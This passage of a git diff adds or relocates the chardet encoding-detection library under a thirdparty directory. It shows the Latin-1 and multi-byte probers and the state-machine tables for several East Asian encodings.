+2,2,2,0,0,0,1,0,0,0,0,0,0,2,2,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0, +0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +2,2,2,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,1,0,0,0,0,0,0,0,0,0,0,2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +) + +Latin5TurkishModel = { + 'char_to_order_map': Latin5_TurkishCharToOrderMap, + 'precedence_matrix': TurkishLangModel, + 'typical_positive_ratio': 0.970290, + 'keep_english_letter': True, + 'charset_name': "ISO-8859-9", + 'language': 'Turkish', +} diff --git a/thirdparty/chardet/latin1prober.py b/thirdparty/chardet/latin1prober.py new file mode 100644 index 00000000000..7d1e8c20fb0 --- /dev/null +++ b/thirdparty/chardet/latin1prober.py @@ -0,0 +1,145 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Universal charset detector code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 2001 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# Shy Shalom - original C code +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +from .charsetprober import CharSetProber +from .enums import ProbingState + +FREQ_CAT_NUM = 4 + +UDF = 0 # undefined +OTH = 1 # other +ASC = 2 # ascii capital letter +ASS = 3 # ascii small letter +ACV = 4 # accent capital vowel +ACO = 5 # accent capital other +ASV = 6 # accent small vowel +ASO = 7 # accent small other +CLASS_NUM = 8 # total classes + +Latin1_CharToClass = ( + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 00 - 07 + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 08 - 0F + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 10 - 17 + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 18 - 1F + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 20 - 27 + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 28 - 2F + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 30 - 37 + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 38 - 3F + OTH, ASC, ASC, ASC, ASC, ASC, ASC, ASC, # 40 - 47 + ASC, ASC, ASC, ASC, ASC, ASC, ASC, ASC, # 48 - 4F + ASC, ASC, ASC, ASC, ASC, ASC, ASC, ASC, # 50 - 57 + ASC, ASC, ASC, OTH, OTH, OTH, OTH, OTH, # 58 - 5F + OTH, ASS, ASS, ASS, ASS, ASS, ASS, ASS, # 60 - 67 + ASS, ASS, ASS, ASS, ASS, ASS, ASS, ASS, # 68 - 6F + ASS, ASS, ASS, ASS, ASS, ASS, ASS, ASS, # 70 - 77 + ASS, ASS, ASS, OTH, OTH, OTH, OTH, OTH, # 78 - 7F + OTH, UDF, OTH, ASO, OTH, OTH, OTH, OTH, # 80 - 87 + OTH, OTH, ACO, OTH, ACO, UDF, ACO, UDF, # 88 - 8F + UDF, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 90 - 97 + OTH, OTH, ASO, OTH, ASO, UDF, ASO, ACO, # 98 - 9F + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # A0 - A7 + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # A8 - AF + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # B0 - B7 + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # B8 - BF + ACV, ACV, ACV, ACV, ACV, ACV, ACO, ACO, # C0 - C7 + ACV, ACV, ACV, ACV, ACV, ACV, ACV, ACV, # C8 - CF + ACO, ACO, ACV, ACV, ACV, ACV, ACV, OTH, # D0 - D7 + ACV, ACV, ACV, ACV, ACV, ACO, ACO, ACO, # D8 - DF + ASV, ASV, ASV, ASV, ASV, ASV, ASO, ASO, # E0 - E7 + ASV, ASV, ASV, ASV, ASV, ASV, ASV, ASV, # E8 - EF + ASO, ASO, ASV, ASV, ASV, ASV, ASV, OTH, # F0 - F7 + ASV, ASV, ASV, ASV, ASV, ASO, ASO, ASO, # F8 - FF +) + +# 0 : illegal +# 1 : very unlikely +# 2 : normal +# 3 : very likely +Latin1ClassModel = ( +# UDF OTH ASC ASS ACV ACO ASV ASO + 0, 0, 0, 0, 0, 0, 0, 0, # UDF + 0, 3, 3, 3, 3, 3, 3, 3, # OTH + 0, 3, 3, 3, 3, 3, 3, 3, # ASC + 0, 3, 3, 3, 1, 1, 3, 3, # ASS + 0, 3, 3, 3, 1, 2, 1, 2, # ACV + 0, 3, 3, 3, 3, 3, 3, 3, # ACO + 0, 3, 1, 3, 1, 1, 1, 3, # ASV + 0, 3, 1, 3, 1, 1, 3, 3, # ASO +) + + +class Latin1Prober(CharSetProber): + def __init__(self): + super(Latin1Prober, self).__init__() + self._last_char_class = None + self._freq_counter = None + self.reset() + + def reset(self): + self._last_char_class = OTH + self._freq_counter = [0] * FREQ_CAT_NUM + CharSetProber.reset(self) + + @property + def charset_name(self): + return "ISO-8859-1" + + @property + def language(self): + return "" + + def feed(self, byte_str): + byte_str = self.filter_with_english_letters(byte_str) + for c in byte_str: + char_class = Latin1_CharToClass[c] + freq = Latin1ClassModel[(self._last_char_class * CLASS_NUM) + + char_class] + if freq == 0: + self._state = ProbingState.NOT_ME + break + self._freq_counter[freq] += 1 + self._last_char_class = char_class + + return self.state + + def get_confidence(self): + if self.state == ProbingState.NOT_ME: + return 0.01 + + total = sum(self._freq_counter) + if total < 0.01: + confidence = 0.0 + else: + confidence = ((self._freq_counter[3] - self._freq_counter[1] * 20.0) + / total) + if confidence < 0.0: + confidence = 0.0 + # lower the confidence of latin1 so that other more accurate + # detector can take priority. + confidence = confidence * 0.73 + return confidence diff --git a/thirdparty/chardet/mbcharsetprober.py b/thirdparty/chardet/mbcharsetprober.py new file mode 100644 index 00000000000..6256ecfd1e2 --- /dev/null +++ b/thirdparty/chardet/mbcharsetprober.py @@ -0,0 +1,91 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Universal charset detector code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 2001 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# Shy Shalom - original C code +# Proofpoint, Inc. +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +from .charsetprober import CharSetProber +from .enums import ProbingState, MachineState + + +class MultiByteCharSetProber(CharSetProber): + """ + MultiByteCharSetProber + """ + + def __init__(self, lang_filter=None): + super(MultiByteCharSetProber, self).__init__(lang_filter=lang_filter) + self.distribution_analyzer = None + self.coding_sm = None + self._last_char = [0, 0] + + def reset(self): + super(MultiByteCharSetProber, self).reset() + if self.coding_sm: + self.coding_sm.reset() + if self.distribution_analyzer: + self.distribution_analyzer.reset() + self._last_char = [0, 0] + + @property + def charset_name(self): + raise NotImplementedError + + @property + def language(self): + raise NotImplementedError + + def feed(self, byte_str): + for i in range(len(byte_str)): + coding_state = self.coding_sm.next_state(byte_str[i]) + if coding_state == MachineState.ERROR: + self.logger.debug('%s %s prober hit error at byte %s', + self.charset_name, self.language, i) + self._state = ProbingState.NOT_ME + break + elif coding_state == MachineState.ITS_ME: + self._state = ProbingState.FOUND_IT + break + elif coding_state == MachineState.START: + char_len = self.coding_sm.get_current_charlen() + if i == 0: + self._last_char[1] = byte_str[0] + self.distribution_analyzer.feed(self._last_char, char_len) + else: + self.distribution_analyzer.feed(byte_str[i - 1:i + 1], + char_len) + + self._last_char[0] = byte_str[-1] + + if self.state == ProbingState.DETECTING: + if (self.distribution_analyzer.got_enough_data() and + (self.get_confidence() > self.SHORTCUT_THRESHOLD)): + self._state = ProbingState.FOUND_IT + + return self.state + + def get_confidence(self): + return self.distribution_analyzer.get_confidence() diff --git a/extra/chardet/mbcsgroupprober.py b/thirdparty/chardet/mbcsgroupprober.py old mode 100755 new mode 100644 similarity index 72% rename from extra/chardet/mbcsgroupprober.py rename to thirdparty/chardet/mbcsgroupprober.py index 941cc3e3760..530abe75e0c --- a/extra/chardet/mbcsgroupprober.py +++ b/thirdparty/chardet/mbcsgroupprober.py @@ -15,36 +15,40 @@ # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. -# +# # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. -# +# # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### -from charsetgroupprober import CharSetGroupProber -from utf8prober import UTF8Prober -from sjisprober import SJISProber -from eucjpprober import EUCJPProber -from gb2312prober import GB2312Prober -from euckrprober import EUCKRProber -from big5prober import Big5Prober -from euctwprober import EUCTWProber +from .charsetgroupprober import CharSetGroupProber +from .utf8prober import UTF8Prober +from .sjisprober import SJISProber +from .eucjpprober import EUCJPProber +from .gb2312prober import GB2312Prober +from .euckrprober import EUCKRProber +from .cp949prober import CP949Prober +from .big5prober import Big5Prober +from .euctwprober import EUCTWProber + class MBCSGroupProber(CharSetGroupProber): - def __init__(self): - CharSetGroupProber.__init__(self) - self._mProbers = [ \ + def __init__(self, lang_filter=None): + super(MBCSGroupProber, self).__init__(lang_filter=lang_filter) + self.probers = [ UTF8Prober(), SJISProber(), EUCJPProber(), GB2312Prober(), EUCKRProber(), + CP949Prober(), Big5Prober(), - EUCTWProber()] + EUCTWProber() + ] self.reset() diff --git a/thirdparty/chardet/mbcssm.py b/thirdparty/chardet/mbcssm.py new file mode 100644 index 00000000000..8360d0f284e --- /dev/null +++ b/thirdparty/chardet/mbcssm.py @@ -0,0 +1,572 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is mozilla.org code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +from .enums import MachineState + +# BIG5 + +BIG5_CLS = ( + 1,1,1,1,1,1,1,1, # 00 - 07 #allow 0x00 as legal value + 1,1,1,1,1,1,0,0, # 08 - 0f + 1,1,1,1,1,1,1,1, # 10 - 17 + 1,1,1,0,1,1,1,1, # 18 - 1f + 1,1,1,1,1,1,1,1, # 20 - 27 + 1,1,1,1,1,1,1,1, # 28 - 2f + 1,1,1,1,1,1,1,1, # 30 - 37 + 1,1,1,1,1,1,1,1, # 38 - 3f + 2,2,2,2,2,2,2,2, # 40 - 47 + 2,2,2,2,2,2,2,2, # 48 - 4f + 2,2,2,2,2,2,2,2, # 50 - 57 + 2,2,2,2,2,2,2,2, # 58 - 5f + 2,2,2,2,2,2,2,2, # 60 - 67 + 2,2,2,2,2,2,2,2, # 68 - 6f + 2,2,2,2,2,2,2,2, # 70 - 77 + 2,2,2,2,2,2,2,1, # 78 - 7f + 4,4,4,4,4,4,4,4, # 80 - 87 + 4,4,4,4,4,4,4,4, # 88 - 8f + 4,4,4,4,4,4,4,4, # 90 - 97 + 4,4,4,4,4,4,4,4, # 98 - 9f + 4,3,3,3,3,3,3,3, # a0 - a7 + 3,3,3,3,3,3,3,3, # a8 - af + 3,3,3,3,3,3,3,3, # b0 - b7 + 3,3,3,3,3,3,3,3, # b8 - bf + 3,3,3,3,3,3,3,3, # c0 - c7 + 3,3,3,3,3,3,3,3, # c8 - cf + 3,3,3,3,3,3,3,3, # d0 - d7 + 3,3,3,3,3,3,3,3, # d8 - df + 3,3,3,3,3,3,3,3, # e0 - e7 + 3,3,3,3,3,3,3,3, # e8 - ef + 3,3,3,3,3,3,3,3, # f0 - f7 + 3,3,3,3,3,3,3,0 # f8 - ff +) + +BIG5_ST = ( + MachineState.ERROR,MachineState.START,MachineState.START, 3,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#00-07 + MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ERROR,#08-0f + MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START#10-17 +) + +BIG5_CHAR_LEN_TABLE = (0, 1, 1, 2, 0) + +BIG5_SM_MODEL = {'class_table': BIG5_CLS, + 'class_factor': 5, + 'state_table': BIG5_ST, + 'char_len_table': BIG5_CHAR_LEN_TABLE, + 'name': 'Big5'} + +# CP949 + +CP949_CLS = ( + 1,1,1,1,1,1,1,1, 1,1,1,1,1,1,0,0, # 00 - 0f + 1,1,1,1,1,1,1,1, 1,1,1,0,1,1,1,1, # 10 - 1f + 1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1, # 20 - 2f + 1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1, # 30 - 3f + 1,4,4,4,4,4,4,4, 4,4,4,4,4,4,4,4, # 40 - 4f + 4,4,5,5,5,5,5,5, 5,5,5,1,1,1,1,1, # 50 - 5f + 1,5,5,5,5,5,5,5, 5,5,5,5,5,5,5,5, # 60 - 6f + 5,5,5,5,5,5,5,5, 5,5,5,1,1,1,1,1, # 70 - 7f + 0,6,6,6,6,6,6,6, 6,6,6,6,6,6,6,6, # 80 - 8f + 6,6,6,6,6,6,6,6, 6,6,6,6,6,6,6,6, # 90 - 9f + 6,7,7,7,7,7,7,7, 7,7,7,7,7,8,8,8, # a0 - af + 7,7,7,7,7,7,7,7, 7,7,7,7,7,7,7,7, # b0 - bf + 7,7,7,7,7,7,9,2, 2,3,2,2,2,2,2,2, # c0 - cf + 2,2,2,2,2,2,2,2, 2,2,2,2,2,2,2,2, # d0 - df + 2,2,2,2,2,2,2,2, 2,2,2,2,2,2,2,2, # e0 - ef + 2,2,2,2,2,2,2,2, 2,2,2,2,2,2,2,0, # f0 - ff +) + +CP949_ST = ( +#cls= 0 1 2 3 4 5 6 7 8 9 # previous state = + MachineState.ERROR,MachineState.START, 3,MachineState.ERROR,MachineState.START,MachineState.START, 4, 5,MachineState.ERROR, 6, # MachineState.START + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, # MachineState.ERROR + MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME, # MachineState.ITS_ME + MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START, # 3 + MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START, # 4 + MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START, # 5 + MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START, # 6 +) + +CP949_CHAR_LEN_TABLE = (0, 1, 2, 0, 1, 1, 2, 2, 0, 2) + +CP949_SM_MODEL = {'class_table': CP949_CLS, + 'class_factor': 10, + 'state_table': CP949_ST, + 'char_len_table': CP949_CHAR_LEN_TABLE, + 'name': 'CP949'} + +# EUC-JP + +EUCJP_CLS = ( + 4,4,4,4,4,4,4,4, # 00 - 07 + 4,4,4,4,4,4,5,5, # 08 - 0f + 4,4,4,4,4,4,4,4, # 10 - 17 + 4,4,4,5,4,4,4,4, # 18 - 1f + 4,4,4,4,4,4,4,4, # 20 - 27 + 4,4,4,4,4,4,4,4, # 28 - 2f + 4,4,4,4,4,4,4,4, # 30 - 37 + 4,4,4,4,4,4,4,4, # 38 - 3f + 4,4,4,4,4,4,4,4, # 40 - 47 + 4,4,4,4,4,4,4,4, # 48 - 4f + 4,4,4,4,4,4,4,4, # 50 - 57 + 4,4,4,4,4,4,4,4, # 58 - 5f + 4,4,4,4,4,4,4,4, # 60 - 67 + 4,4,4,4,4,4,4,4, # 68 - 6f + 4,4,4,4,4,4,4,4, # 70 - 77 + 4,4,4,4,4,4,4,4, # 78 - 7f + 5,5,5,5,5,5,5,5, # 80 - 87 + 5,5,5,5,5,5,1,3, # 88 - 8f + 5,5,5,5,5,5,5,5, # 90 - 97 + 5,5,5,5,5,5,5,5, # 98 - 9f + 5,2,2,2,2,2,2,2, # a0 - a7 + 2,2,2,2,2,2,2,2, # a8 - af + 2,2,2,2,2,2,2,2, # b0 - b7 + 2,2,2,2,2,2,2,2, # b8 - bf + 2,2,2,2,2,2,2,2, # c0 - c7 + 2,2,2,2,2,2,2,2, # c8 - cf + 2,2,2,2,2,2,2,2, # d0 - d7 + 2,2,2,2,2,2,2,2, # d8 - df + 0,0,0,0,0,0,0,0, # e0 - e7 + 0,0,0,0,0,0,0,0, # e8 - ef + 0,0,0,0,0,0,0,0, # f0 - f7 + 0,0,0,0,0,0,0,5 # f8 - ff +) + +EUCJP_ST = ( + 3, 4, 3, 5,MachineState.START,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#00-07 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,#08-0f + MachineState.ITS_ME,MachineState.ITS_ME,MachineState.START,MachineState.ERROR,MachineState.START,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#10-17 + MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 3,MachineState.ERROR,#18-1f + 3,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START#20-27 +) + +EUCJP_CHAR_LEN_TABLE = (2, 2, 2, 3, 1, 0) + +EUCJP_SM_MODEL = {'class_table': EUCJP_CLS, + 'class_factor': 6, + 'state_table': EUCJP_ST, + 'char_len_table': EUCJP_CHAR_LEN_TABLE, + 'name': 'EUC-JP'} + +# EUC-KR + +EUCKR_CLS = ( + 1,1,1,1,1,1,1,1, # 00 - 07 + 1,1,1,1,1,1,0,0, # 08 - 0f + 1,1,1,1,1,1,1,1, # 10 - 17 + 1,1,1,0,1,1,1,1, # 18 - 1f + 1,1,1,1,1,1,1,1, # 20 - 27 + 1,1,1,1,1,1,1,1, # 28 - 2f + 1,1,1,1,1,1,1,1, # 30 - 37 + 1,1,1,1,1,1,1,1, # 38 - 3f + 1,1,1,1,1,1,1,1, # 40 - 47 + 1,1,1,1,1,1,1,1, # 48 - 4f + 1,1,1,1,1,1,1,1, # 50 - 57 + 1,1,1,1,1,1,1,1, # 58 - 5f + 1,1,1,1,1,1,1,1, # 60 - 67 + 1,1,1,1,1,1,1,1, # 68 - 6f + 1,1,1,1,1,1,1,1, # 70 - 77 + 1,1,1,1,1,1,1,1, # 78 - 7f + 0,0,0,0,0,0,0,0, # 80 - 87 + 0,0,0,0,0,0,0,0, # 88 - 8f + 0,0,0,0,0,0,0,0, # 90 - 97 + 0,0,0,0,0,0,0,0, # 98 - 9f + 0,2,2,2,2,2,2,2, # a0 - a7 + 2,2,2,2,2,3,3,3, # a8 - af + 2,2,2,2,2,2,2,2, # b0 - b7 + 2,2,2,2,2,2,2,2, # b8 - bf + 2,2,2,2,2,2,2,2, # c0 - c7 + 2,3,2,2,2,2,2,2, # c8 - cf + 2,2,2,2,2,2,2,2, # d0 - d7 + 2,2,2,2,2,2,2,2, # d8 - df + 2,2,2,2,2,2,2,2, # e0 - e7 + 2,2,2,2,2,2,2,2, # e8 - ef + 2,2,2,2,2,2,2,2, # f0 - f7 + 2,2,2,2,2,2,2,0 # f8 - ff +) + +EUCKR_ST = ( + MachineState.ERROR,MachineState.START, 3,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#00-07 + MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START #08-0f +) + +EUCKR_CHAR_LEN_TABLE = (0, 1, 2, 0) + +EUCKR_SM_MODEL = {'class_table': EUCKR_CLS, + 'class_factor': 4, + 'state_table': EUCKR_ST, + 'char_len_table': EUCKR_CHAR_LEN_TABLE, + 'name': 'EUC-KR'} + +# EUC-TW + +EUCTW_CLS = ( + 2,2,2,2,2,2,2,2, # 00 - 07 + 2,2,2,2,2,2,0,0, # 08 - 0f + 2,2,2,2,2,2,2,2, # 10 - 17 + 2,2,2,0,2,2,2,2, # 18 - 1f + 2,2,2,2,2,2,2,2, # 20 - 27 + 2,2,2,2,2,2,2,2, # 28 - 2f + 2,2,2,2,2,2,2,2, # 30 - 37 + 2,2,2,2,2,2,2,2, # 38 - 3f + 2,2,2,2,2,2,2,2, # 40 - 47 + 2,2,2,2,2,2,2,2, # 48 - 4f + 2,2,2,2,2,2,2,2, # 50 - 57 + 2,2,2,2,2,2,2,2, # 58 - 5f + 2,2,2,2,2,2,2,2, # 60 - 67 + 2,2,2,2,2,2,2,2, # 68 - 6f + 2,2,2,2,2,2,2,2, # 70 - 77 + 2,2,2,2,2,2,2,2, # 78 - 7f + 0,0,0,0,0,0,0,0, # 80 - 87 + 0,0,0,0,0,0,6,0, # 88 - 8f + 0,0,0,0,0,0,0,0, # 90 - 97 + 0,0,0,0,0,0,0,0, # 98 - 9f + 0,3,4,4,4,4,4,4, # a0 - a7 + 5,5,1,1,1,1,1,1, # a8 - af + 1,1,1,1,1,1,1,1, # b0 - b7 + 1,1,1,1,1,1,1,1, # b8 - bf + 1,1,3,1,3,3,3,3, # c0 - c7 + 3,3,3,3,3,3,3,3, # c8 - cf + 3,3,3,3,3,3,3,3, # d0 - d7 + 3,3,3,3,3,3,3,3, # d8 - df + 3,3,3,3,3,3,3,3, # e0 - e7 + 3,3,3,3,3,3,3,3, # e8 - ef + 3,3,3,3,3,3,3,3, # f0 - f7 + 3,3,3,3,3,3,3,0 # f8 - ff +) + +EUCTW_ST = ( + MachineState.ERROR,MachineState.ERROR,MachineState.START, 3, 3, 3, 4,MachineState.ERROR,#00-07 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,#08-0f + MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ERROR,MachineState.START,MachineState.ERROR,#10-17 + MachineState.START,MachineState.START,MachineState.START,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#18-1f + 5,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.ERROR,MachineState.START,MachineState.START,#20-27 + MachineState.START,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START #28-2f +) + +EUCTW_CHAR_LEN_TABLE = (0, 0, 1, 2, 2, 2, 3) + +EUCTW_SM_MODEL = {'class_table': EUCTW_CLS, + 'class_factor': 7, + 'state_table': EUCTW_ST, + 'char_len_table': EUCTW_CHAR_LEN_TABLE, + 'name': 'x-euc-tw'} + +# GB2312 + +GB2312_CLS = ( + 1,1,1,1,1,1,1,1, # 00 - 07 + 1,1,1,1,1,1,0,0, # 08 - 0f + 1,1,1,1,1,1,1,1, # 10 - 17 + 1,1,1,0,1,1,1,1, # 18 - 1f + 1,1,1,1,1,1,1,1, # 20 - 27 + 1,1,1,1,1,1,1,1, # 28 - 2f + 3,3,3,3,3,3,3,3, # 30 - 37 + 3,3,1,1,1,1,1,1, # 38 - 3f + 2,2,2,2,2,2,2,2, # 40 - 47 + 2,2,2,2,2,2,2,2, # 48 - 4f + 2,2,2,2,2,2,2,2, # 50 - 57 + 2,2,2,2,2,2,2,2, # 58 - 5f + 2,2,2,2,2,2,2,2, # 60 - 67 + 2,2,2,2,2,2,2,2, # 68 - 6f + 2,2,2,2,2,2,2,2, # 70 - 77 + 2,2,2,2,2,2,2,4, # 78 - 7f + 5,6,6,6,6,6,6,6, # 80 - 87 + 6,6,6,6,6,6,6,6, # 88 - 8f + 6,6,6,6,6,6,6,6, # 90 - 97 + 6,6,6,6,6,6,6,6, # 98 - 9f + 6,6,6,6,6,6,6,6, # a0 - a7 + 6,6,6,6,6,6,6,6, # a8 - af + 6,6,6,6,6,6,6,6, # b0 - b7 + 6,6,6,6,6,6,6,6, # b8 - bf + 6,6,6,6,6,6,6,6, # c0 - c7 + 6,6,6,6,6,6,6,6, # c8 - cf + 6,6,6,6,6,6,6,6, # d0 - d7 + 6,6,6,6,6,6,6,6, # d8 - df + 6,6,6,6,6,6,6,6, # e0 - e7 + 6,6,6,6,6,6,6,6, # e8 - ef + 6,6,6,6,6,6,6,6, # f0 - f7 + 6,6,6,6,6,6,6,0 # f8 - ff +) + +GB2312_ST = ( + MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START, 3,MachineState.ERROR,#00-07 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,#08-0f + MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ERROR,MachineState.ERROR,MachineState.START,#10-17 + 4,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#18-1f + MachineState.ERROR,MachineState.ERROR, 5,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ERROR,#20-27 + MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START #28-2f +) + +# To be accurate, the length of class 6 can be either 2 or 4. +# But it is not necessary to discriminate between the two since +# it is used for frequency analysis only, and we are validating +# each code range there as well. So it is safe to set it to be +# 2 here. +GB2312_CHAR_LEN_TABLE = (0, 1, 1, 1, 1, 1, 2) + +GB2312_SM_MODEL = {'class_table': GB2312_CLS, + 'class_factor': 7, + 'state_table': GB2312_ST, + 'char_len_table': GB2312_CHAR_LEN_TABLE, + 'name': 'GB2312'} + +# Shift_JIS + +SJIS_CLS = ( + 1,1,1,1,1,1,1,1, # 00 - 07 + 1,1,1,1,1,1,0,0, # 08 - 0f + 1,1,1,1,1,1,1,1, # 10 - 17 + 1,1,1,0,1,1,1,1, # 18 - 1f + 1,1,1,1,1,1,1,1, # 20 - 27 + 1,1,1,1,1,1,1,1, # 28 - 2f + 1,1,1,1,1,1,1,1, # 30 - 37 + 